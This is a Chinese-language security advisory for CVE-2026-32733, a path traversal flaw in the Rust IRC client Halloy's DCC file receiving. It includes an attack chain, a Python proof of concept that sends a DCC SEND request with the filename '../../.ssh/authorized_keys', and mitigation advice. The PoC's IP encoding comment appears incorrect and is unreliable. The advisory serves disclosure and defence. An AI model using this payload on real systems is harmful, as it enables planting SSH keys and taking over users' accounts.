IPBUF安全漏洞报告
English
CVE-2026-32733 CVSS 6.5 中危

CVE-2026-32733 Halloy路径遍历漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32733
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Halloy

相关标签

路径遍历HalloyCWE-22RustIRC

漏洞概述

Halloy是一款用Rust编写的IRC客户端。在特定提交版本之前,其DCC接收功能未对传入请求中的文件名进行清理,存在路径遍历漏洞。远程攻击者可发送包含`../`序列的恶意文件名,导致文件被写入用户配置目录之外。若启用了自动接受功能,受害者无需交互即可被攻击。

技术细节

该漏洞发生在Halloy处理IRC DCC SEND协议的过程中。由于开发者在接收文件时未能对攻击者指定的文件名进行严格的输入验证和路径规范化,导致应用程序容易受到路径遍历攻击。攻击者可以在IRC频道中向目标用户发送特制的DCC SEND请求,文件名字段包含如`../../.ssh/authorized_keys`的路径跳转符。如果受害者的客户端配置了自动接受文件,文件将直接被写入攻击者指定的任意路径。这允许攻击者覆盖敏感系统文件或在用户系统中植入后门。该漏洞的根本原因是对用户输入缺乏“白名单”或路径标准化处理。修复版本引入了`sanitize_filename`函数,对文件名进行统一的安全过滤,移除所有路径分隔符和特殊字符,确保文件仅能保存在预设目录内。

攻击链分析

STEP 1
步骤1
攻击者连接到受害者所在的IRC服务器,并加入相同的频道。
STEP 2
步骤2
攻击者向受害者的IRC客户端(Halloy)发送特制的DCC SEND请求,文件名字段包含路径遍历Payload(如`../../.ssh/authorized_keys`)。
STEP 3
步骤3
受害者的Halloy客户端接收请求。由于漏洞存在,未对文件名进行过滤。
STEP 4
步骤4
如果受害者开启了自动接受DCC请求,文件将被写入用户配置的`save_directory`之外的指定路径(如`~/.ssh/authorized_keys`),导致安全被破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # This is a proof of concept to demonstrate the vulnerability. # It sends a malicious DCC SEND request to a target IRC server/channel. # The malicious filename contains path traversal sequences. TARGET_IP = "127.0.0.1" TARGET_PORT = 6667 NICKNAME = "attacker" CHANNEL = "#test" VICTIM_NICK = "victim" # Malicious filename attempting to write to .ssh/authorized_keys # Adjust the path traversal depth based on the victim's save_directory configuration MALICIOUS_FILENAME = "../../.ssh/authorized_keys" FAKE_IP = "127000001" # 127.0.0.1 in hex for DCC FAKE_PORT = "4444" FILE_SIZE = "100" def send_exploit(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((TARGET_IP, TARGET_PORT)) # IRC Handshake sock.send(f"NICK {NICKNAME}\r\n".encode()) sock.send(f"USER {NICKNAME} 0 * :{NICKNAME}\r\n".encode()) sock.send(f"JOIN {CHANNEL}\r\n".encode()) # Send malicious DCC SEND request # Format: PRIVMSG <target> :\x01DCC SEND <filename> <ip> <port> <size>\x01 payload = f"PRIVMSG {VICTIM_NICK} :\x01DCC SEND {MALICIOUS_FILENAME} {FAKE_IP} {FAKE_PORT} {FILE_SIZE}\x01\r\n" sock.send(payload.encode()) print(f"[+] Sent malicious DCC SEND request with filename: {MALICIOUS_FILENAME}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()

影响范围

Halloy < commit 0f77b2cfc5f822517a256ea5a4b94bad8bfe38b6

防御指南

临时缓解措施
如果无法立即升级,建议用户暂时禁用Halloy的DCC自动接受功能,并拒绝接收来自不明来源的DCC SEND请求。同时,检查系统关键目录(如.ssh)是否出现异常文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表